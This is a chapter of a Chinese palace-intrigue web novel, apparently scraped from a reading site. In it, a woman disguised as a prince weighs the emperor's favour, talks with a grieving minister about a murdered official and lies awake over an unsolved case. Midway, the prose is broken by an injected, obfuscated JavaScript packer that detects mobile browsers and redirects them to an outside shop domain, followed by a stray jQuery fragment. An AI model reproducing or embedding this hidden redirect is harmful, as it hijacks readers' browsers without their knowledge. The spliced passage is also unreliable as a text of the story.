秦怀谨轻轻叩了个头，没有再说什么慷慨激昂的话，只是用最平静的语气收尾，“儿臣提议设立监学官，不是为了向父皇邀功，是因为儿臣在国子监看到了太多这样的人。他们不是不想求救，是不知道该找谁。儿臣原先也经历过类似的事，见到了，就想帮一把。”
永平帝沉默了很久，以至于秦怀谨以为自己说得太过，正要开口请罪，永平帝却先她一步出了声。
“你是朕的儿子，谁敢欺负你？”
秦怀谨明显愣住了，嘴唇动了动，又缓缓合上。
她没料到永平帝会说这句话，没有斥责，也没追问，而是一种她从未在这个男人身上感受过的、类似护短的东西。
她没有觉得感动，只觉得陌生。
但她很快意识到，这句话的重点不是“谁欺负你”，而是“你是朕的儿子”。
他认可的不是她受过的委屈，是她这个人。
甚至不是认可她这个人，而是她的身份。
认可她有能力站在朝堂上，认可她配得上“朕的儿子”这四个字。
他认可的，或许仅仅是自己的眼光。
“往后遇到事情，和朕说。”永平帝的语气依旧平淡，像是在交代一件寻常公务，但目光里的那层柔和还没褪尽。
秦怀谨垂下眼，叩首应了声“儿臣记住了”。
声音很稳，稳得连她自己都有点意外。
她没有抬头去看永平帝的表情，因为她知道那道目光很快就会收回去。
帝王温情的保质期向来很短，短到只够说两句话。
但她也不需要更多了。
两句话已经足够她确认一件事，从今天起，她在永平帝心里不再是那个可有可无的怀王。
她是备选，是退路。
是万一秦昊苍撑不住、秦铭珏靠不住、秦少语扶不起的时候，还能拿来用的人。
这世上最牢固的位置，不是被偏爱的，是被需要的。
她已经做到了，走到了棋局之中。
离开御书房时，天色渐暗，宫人在官道上点灯。
秦怀谨呼吸到新鲜空气的那一刻，整个人异常的清醒。
永平帝方才对她展露的父爱，全是泡沫。
若真的认可她，应当留她一起用膳。
这是最起码的事情。
可永平帝只是摆摆手，以身体欠佳为由，让她离开。
秦怀谨还不能做出任何有失礼数的行为，只得行礼，说些关心永平帝的话语。
秦怀谨沿着官道往外走，昏黄的光将她的影子拉得又细又长。
她走得不快，脑子里还在反复咀嚼方才御书房里的每一句话。
永平帝那两句罕见的关怀，像一颗裹着糖衣的药，咽下去之后才尝出苦味。
她想起他挥手让她退下时的神情，疲惫中夹杂着淡漠，和方才说“谁敢欺负你”时判若两人。
“怀王殿下。”
秦怀谨脚步一顿，循声望去。
盛采南站在官道旁的灯柱下，显然是等了一会儿了。
他眼眶还微微泛红，但神色比方才在御书房里镇定了不少，见她看过来，拱手行了一礼，姿态恭敬却不算谄媚，像是在等一个同路的人。
“盛大人还没走？”秦怀谨走过去，语气随意，目光从他脸上扫过。
她对这个礼部尚书的印象不差，能为下属的死进宫讨说法，也算是有担当的上司。
更何况他方才在御书房的一顿哭闹，实打实救了她。
不管他是什么缘由来的，又从其他地方获了什么利，但他是真的在御书房里哭诉了那么久，这份情她记着。
“老臣在等殿下。”盛采南直起身，与她并肩往前走，脚步放得很慢，像是在斟酌措辞，“今日卫侍郎的案子，殿下在大理寺查到的那些线索，老臣还没来得及问清楚。不知殿下可否赏脸，边走边聊？”
秦怀谨看了他一眼，盛采南的表情坦荡，没有试探，也没有套近乎的意思，只是一个死了得力下属的上司想多了解一些真相。
她点了点头，两人一同往宫门方向走去。
盛采南问了大理寺验尸的细节，又问卫倾川的家属情况，秦怀谨一一答了，说到卫倾川胃中并无萝卜汤残渣时，盛大人在旁边沉默了好一会儿，再开口时声音有些发涩。
“他确实不爱吃萝卜，以前聚餐时，桌上只要有萝卜，他筷子都不碰。”
秦怀谨没有接话，只是放慢了脚步。
两个人沉默地走了一段路，宫门就在前方不远处，福顺已经驾着马车在门外等着了。
盛采南在宫门口停下脚步，转身朝秦怀谨郑重行了一礼。
“今日多谢殿下。若不是殿下在大理寺查得仔细，卫侍郎恐怕就稀里糊涂被糊弄过去了。老臣替卫侍郎的家人谢殿下。”
秦怀谨伸手虚扶了一下，没有多说什么。
她看着盛采南上了自己的马车，才转身走向福顺。
夜风拂面，她忽然想到盛采南在御书房里替她拖延时间时那个不动声色的眼神。
她今天在朝堂上又多了一个愿意替她说话的人。
不是靠拉拢，不是靠交易，是靠她把案子查清楚了，还了一个真相。
秦怀谨上了马车，福顺在外面问了声“殿下回私宅还是回王府”，她靠在车壁上闭了眼，说了句“回私宅”。
马车在夜色里穿过宫门，她忽然想起一件事——暗卫妆音带着魏大去找孙二狗，到现在还没回来复命。
魏大的嫌疑基本排除了，但妆音这么久没消息，要么是找人找得不顺利，要么是遇到了别的什么事。
也可能是她在皇宫之中，妆音没办法复命。
秦怀谨靠在车壁上，把今天所有的事在脑子里过了一遍。
国子监的案子结了，卫倾川的案子交给大理寺了，秦少语在永平帝心里的分量轻了，她在永平帝心里的分量重了。
但这还只是开始，秦昊苍和秦铭珏应当回来了，只是还没有找到合适的契机让他们回到朝堂上。
用不了多久，就是秦昊苍的生辰，届时朝堂上的格局还会再变。
她需要在那之前，把自己手里能用的牌全都理清楚。
沈濂、贺明鹊、盛采南……
似乎没有一个官场之人是坚定的站在她身后的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577221|202062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她还缺什么呢？
马车在私宅后门停下时，天色已经黑透了。
秦怀谨推门进去，院子里静悄悄的，廊下的灯还亮着，桌上摆着一碟已经凉了的桂花糕和一张字条。
字条是白芷留的，上面歪歪扭扭写了两行字：
小姐，今日铺子里来了好些客人，有个客人夸焦麦茶好喝，明日还想来。
另外有个姓孙的贩子来问过，说想跟咱们长期供菜。
秦怀谨把字条翻过来，背面还有一行更小的字：妆音姐姐来过，说你交代的事办妥了。
她把字条放在了灯上点燃，直到火苗即将触及手指，才松开。
灰烬落在碟子边上，她又拿起一块桂花糕，咬了一口。
糕已经凉透了，甜味却还在，嚼在嘴里有一股干桂花的余香。
随后她洗了把脸，坐到床边，再次陷入了思考。
妆音的事办妥了，魏大没事了。白芷的铺子有了回头客，焦麦茶有人夸了。国子监的案子结了，永平帝对她改了观。
今天是她穿越以来最累的一天，也是收获最多的一天。
她躺下来，闭上眼睛，脑子里最后一个念头是——还要多久才不用早朝，可以睡到自然醒。
然后她忽然睁开眼，想起一件事。
国子监的管事换了供货商，新供货商是某个先生的亲戚。
这个先生是谁？
整个案子里，所有人都被她翻了一遍。
包括厨子、杂役、管事、祭酒、学生、菜贩、农户……
唯独这个先生，从头到尾没有出现过。
秦少语知不知道这个先生是谁？
他一定是知道的。
就凭他时常往国子监跑，凭他三天里查的都是些无关痛痒的东西，凭他最后逼人顶罪。
可如果只是想掩盖自己查案不力，大可不必冒这么大的风险。
毕竟他抓的杂役，很有可能会突然反悔，反咬他一口。
除非他真正要掩盖的不是自己的无能，而是另一个人——那个先生。
她翻了个身，强迫自己先睡。
窗外传来打更的声音，三更天了。
私宅的灯一盏接一盏地灭了，只有廊下还留着一盏，照着桌上那碟吃了一半的桂花糕。
秦怀谨睡的并不踏实，脑海里是一团团错综复杂的关系网，是没有完全解开的迷雾。
甚至到了后半夜，她索性做了个噩梦。
梦到自己在踏上东宫大门的那一刻，被贬为了庶民，永世不得回京。
梦里的她看着好不容易敛来的金银铜，哪怕是小小一根簪子，也都被官兵装箱带走了，急的只能在原地跺脚，哪怕是挪半步，都会被刀抹脖子。
可等她清醒了些时，她却在庆幸。
或许贬为庶民才不是真的噩梦，是美梦。
那样她不用顾忌自己的性别，不用顾忌睡多久几点起，吃喝用度也不似现在这般夸张。
但她不能期待这样的日子，她得争权。
与她而言，那不是一人之下万人之上的王座，是帮助万千百姓远离水生火热的开关。